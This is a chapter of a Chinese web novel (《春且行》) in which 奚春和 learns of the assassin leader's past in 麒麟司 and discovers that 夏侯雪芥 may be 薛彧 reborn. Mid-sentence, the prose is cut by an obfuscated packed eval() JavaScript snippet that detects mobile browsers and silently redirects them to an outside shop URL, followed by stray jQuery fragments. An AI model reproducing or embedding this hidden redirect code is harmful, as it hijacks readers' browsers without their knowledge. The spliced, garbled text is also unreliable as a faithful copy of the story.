60.秘密

作品:《春且行

    “春和,说说吧,你在那个无间灯刺客那里知道了什么。”


    奚春和这一次长久地看着夏辞春,而夏辞春并没有因此怪罪奚春和,而是以一种极其慈爱柔和的目光看着奚春和,沐浴在这样的视线里,奚春和不自觉的放弃了某些东西。


    最终是奚春和敛下眸子,对夏辞春说道:“无间灯首领杨成婪,以前是麒麟司的人。”


    夏辞春点点头,从旁边抽出一本册子,放在膝上。


    “你早就有所怀疑吧。”夏辞春的话虽是问句,但是却带着笃定。


    奚春和点点头。


    此前,她总觉得这些线索之间还存着疑问,总是有一条捋不直的线将这些看似清晰的线索绕起来。


    而杨成婪来自麒麟司,所以他对麒麟司运作模式和调查方法了如指掌,能够巧妙避开追查。


    所以刺杀薛彧的幕后之人能在极短的时间内找到杨成婪,安排无间灯刺杀薛彧。


    奚春和的眉头微微皱起,杨成婪背后有着麒麟司的影子,稍有不慎,就可能牵扯到京都更多的势力,引发更大的风波。


    这京都里面势力盘根错节,牵一发而动全身。


    奚春和不动声色地将目光投向夏辞春,恰巧与对方含笑的眼神撞个正着。他心头微微一滞,随即移开了视线。


    就连长公主和母亲之间,也有着不为人知的秘密。


    “春和,过来。”夏辞春歪了歪头,即使她已经散了繁重的发髻,簪在发丝间的那几只金钗依旧在暖黄的烛火间粲然夺目。


    奚春和依言上前,站到夏辞春面前,奚春和能借着烛火看清她眼里所有的情绪——一如从前的慈爱。


    “这个,是你需要的。”烯夏辞春将册子递出去,眉眼含笑。


    奚春和恍惚间能看到她眼尾的细纹,这让奚春和一愣。夏辞春怎么会老呢,她应该一直都是那个富贵风流、恣意张扬的大夏长公主。


    夏辞春看到奚春和一闪而过的愣怔,笑意更深。她挥挥手将夏槐序招上前来,拉过两位姑娘的手,仔细看过她们的眉眼。


    “真好。”夏辞春忍不住感叹。


    夏槐序下意识问道:“好什么?”


    夏辞春听过,朗声笑了起来。她让两个姑娘伏在自己的膝头,手指拂过她们柔顺的发丝,两只手掌下发丝的质感略微不同,奚春和的要更干枯一点。


    因此夏辞春揉了揉奚春和的头。


    “年轻好,你们的感情,也好。”夏辞春的笑意不减,话语里满是感慨。


    她的声音轻了一些,继续说:“我年轻时,和奚越一起习武,那些同门没人能赢我。后来我和奚越勒马立于万军之前,风卷过战旗拂过我们的面颊,吹向更远处,失地尽数收复。”


    夏辞春回忆着,眼里尽是风采。


    “后来呀,我遇到了你的母亲。”夏辞春看着奚春和,手指抚了抚奚春和的眉眼。


    “她坚韧,顽强,像南州山间溪流旁的蒲草。她从来不是会放弃什么的人,可是她却为我放弃了很多东西。”


    “春和,你那么聪明,我瞒不住你。可是我不能向你和盘托出,你只要知道,我和你母亲能为彼此付出一切,就好了。”


    奚春和将头贴在夏辞春的膝上,点了点头。


    第二日,在长公主处用过朝食,奚春和便乘马车回了长信侯府。


    她回了院子,而夏侯雪芥已经站在院子里等着她了。


    两人相视一笑,在旁边的花架下坐了。


    夏侯雪芥看着奚春和手里的册子,没有多问,只是为奚春和细细诊脉。


    “再过段时间,荷花就该开了。我们一起去观荷,可好?”夏侯雪芥说着。


    奚春和点了点头,应下夏侯雪芥。


    怀里的那盒药,让奚春和不敢出声应答。她微微闭了闭眼,不经意地问道:“夏侯,我想问问,我这病症有痊愈的可能吗?”


    夏侯雪芥停顿片刻,才缓缓开口:“戒劳戒忧,徐徐培元,终有痊愈的一天。”


    奚春和笑了笑,没有再说话。


    夏侯雪芥也没有再说话,他敛着眼眸,不知在想些什么。


    奚春和见夏侯雪芥的样子,以为是自己这顽疾又让夏侯雪芥伤了心,便抬起他的脸颊宽慰道:“夏侯,你不必自责。我本就气血耗损过甚,是你来我诊治后,才好了许多,让我不用时常卧床养病。”


    夏侯雪芥贴着奚春和的手,说道:“我一定会让你彻底病愈,春日能去踏青,夏日能去游湖,秋日能去登高,冬日等去赏雪。”


    奚春和笑着,轻声说:“那你可要为我做很多纸鸢了,要一直陪着我。”


    夏侯雪芥仰视着奚春和,缓缓说道:“好,我为你做很多纸鸢。”


    “要一直陪着我。”奚春和重复。


    夏侯雪芥却倾身过来吻住奚春和,奚春和气息不稳,没有再追问夏侯雪芥。


    午间夏侯雪芥便要回药铺,离去前他突然想起什么,转身回了奚春和身边:“我为你做的面具很久没有养护了吧,恰好今日药堂无事。”


    奚春和将盒子里的面具取出,递给夏侯雪芥。他接过面具的时候,目光掠过暗格里的盒子,瞳孔骤然一缩。


    奚春和感觉到夏侯雪芥的异样,看他的目光停留在青铜匣上,顿时有些进退两难。


    此物是阊阖风和自己联络的标志,从前就连薛彧也不知道。此刻无意间被他撞见,奚春和却不知道该怎么解释了。


    只好问道:“怎么了?”


    夏侯雪芥将目光收回,重新看向奚春和,定了定心神,思虑了一会儿才说:“这个青铜匣我见过。”


    话音刚落,奚春和抬眸,目光在青铜匣和夏侯雪芥间流转:“什么?”


    奚春和确定,彼时薛彧还未进麒麟司,因此她和阊阖风之间联络的青铜匣,薛彧并不知情。


    那薛彧,是在哪里见过这个青铜匣的?也许,不是薛彧,是夏侯雪芥。


    奚春和心下一顿,指尖用力攥紧也无法抵抗那摇摇欲坠的感觉。因为心底的猜测让她慌了神,奚春和本想再细细搜寻其他的细节去推翻那个可


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17400732|193531||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    能性,可是没有。


    “这个匣子,我能看看吗?”夏侯雪芥询问道。


    奚春和恍惚地点点头。


    直到匣子被夏侯雪芥拿到手,他仔细看着,然后一一摸过其中关窍。


    忽地,他像是印证了心中久存的疑惑,夏侯雪芥轻轻勾起嘴角,只是笑意浸着难言的苦涩。


    他缓缓吐出一口气,将匣子递给奚春和,为她指过其上的一处处机关:“这里,以前总是卡住。”


    “是赵夫人寻我,改良了机关位置。”


    赵夫人······


    奚春和即使心里有了准备,在听到这个称呼的一瞬间,还是如同被巨大的彷徨攥住,她竟然有一瞬间忘记了呼吸。


    夏侯雪芥看出奚春和的神思不属,揽过奚春和,关切地问道:“春和?这是怎么了?”


    奚春和不答,只是一味地扯住夏侯雪芥的衣袖,半晌后才红着眼眶看向夏侯雪芥:“你说,这青铜匣是我母亲的?”


    夏侯雪芥不知道奚春和为什么这样问,可是依旧点了点头。


    奚春和却突然落下泪,声音有些哽咽:“她让你改良机关,是哪一年?”奚春和此刻心绪很乱,但是依旧抓住心里那一闪而过的疑问。


    “十一岁那年,那年刚好在机关术上有进益,赵夫人说考考我,就把这个匣子给了我。”


    奚春和喃喃自语:“十一岁,七年前。可是七年里,除了这一次,我和她之间用的匣子都是没有改良过的。”


    这个匣子世间只有一枚,再不会寻到相同的第二枚。


    在夏侯雪芥的记忆里,他十一岁改良了这个匣子,那奚春和在七年前使用的匣子就该是改良过的。


    而不是,奚春和用了七年的匣子,突然间变换成了改良过的匣子——而且在奚春和最后一次去取阊阖风的密信时,匣子都是原来的那枚。


    夏侯雪芥和薛彧,都是存于这个时间的人。没有道理,夏侯雪芥存在的痕迹和薛彧存在的痕迹相悖。


    除非,他们二人,本就不是该同时存在的人。


    可是,这又该怎么解释?奚春和搜寻过脑海里所有的知识,也不知道该怎么去解释这个事情,她下意识朝夏侯雪芥看去。


    却见他眉目间没有困顿疑问的神色,倒像是忽然恍然大悟,从前萦绕他心头的疑窦被解开一般。


    他摸了摸奚春和的额头,看着她时眼里是满溢的温柔:“春和,也许夏侯雪芥也是我。”


    奚春和眉间的不解更深,夏侯雪芥继续说:“以前,我对夏侯雪芥的记忆如数家珍,我就觉得隐隐不对。现在看了这匣子,我推测,夏侯雪芥也是薛彧。”


    “同一个人,怎么能以不同的身份存在于同一个世界呢?所以我初遇你,像是被神力束缚,迫于某种规则无法与你相认。是你,去慈恩寺灭了为薛彧燃的长明灯后,我才没了那种束缚。”


    奚春和愣住,当时去慈恩寺,只是猜到薛彧或许重生寄身在夏侯雪芥身上,而长明灯是为亡者而燃的,生魂如果存在于世,那免会受影响。